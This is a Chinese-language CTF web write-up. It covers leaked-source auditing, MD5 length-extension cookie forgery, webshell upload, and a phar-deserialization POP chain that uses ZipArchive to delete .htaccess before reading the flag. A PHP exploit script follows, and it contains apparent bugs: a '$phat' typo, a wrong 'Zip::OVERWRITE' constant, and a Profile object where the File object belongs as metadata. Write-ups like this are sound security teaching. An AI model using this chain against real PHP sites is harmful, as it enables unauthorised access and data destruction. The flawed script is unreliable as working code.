-
扫了后得到
www.zip
,下载源码 -
源码审计
上传文件提示
u r not admin
,审计源码找到判断管理员的逻辑。upload.php
中,上传文件:
审计Admin
这个类。
Admin
通过判断$this->checker
是否为true
来判断是否为admin
,跟进一下Profile
中的is_admin()
函数,
需要$_COOKIE['user']===md5($secret.'admin'.$this->password)
,根据源码我们可以知secret
为8位
且,已知md5($secret.'adminadmin')
,很显然这里的点是md5
长度拓展攻击
hashpump
一下
check
内容:
上传一个小马,直接访问发现500
,猜测应该是因为.htaccess
的关系,于是想办法删掉.htaccess
。审计view.php
,发现new
了一个File
对象,查看File
类,很明显这里有个__destruct()
,猜测应该是需要寻找pop
链实现反序列化。跟踪upload_file()
,只有admin
具有这个方法,但是没有什么用。可以看到config.php
中有两个__call()
方法,其中Profile
的__call()
方法,是可用的。于是File(__destruct()) -> Profile(__call())
,Profile
中的__call()
方法调用了open()
方法,但是同样的文件中的open()
函数都没什么实际用处,寻找php
的内置类的open()
方法,发现ZipArchive
的open()
方法可以利用一波。
脚本生成phar
脚本,上传文件。由于过滤了phar://
方法,通过php://filter/resource=phar://
访问上传的phar
文件,触发反序列化,覆盖.htaccess
文件,然后直接访问sandbox
下的小马,cat /flag
就行。
脚本:
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct()
{
$this->checker = new Profile();
}
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct(){
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/4a5b0bee63712da959cd874f00ae42a1/.htaccess";
$this->password = Zip::OVERWRITE;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
$a = new Profile();
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __halt_compiler(); ?>");
$phar->setMetadata($a);
$phat->addFromString("exp.txt","exp");
$phar->stopBuffering();
// php://filter/resource=phar://sandbox/4a5b0bee63712da959cd874f00ae42a1/9c7f4a2fbf2dd3dfb7051727a644d99f.phar
// sandbox/4a5b0bee63712da959cd874f00ae42a1/93bc3c03503d8768cf7cc1e39ce16fcb.php
?>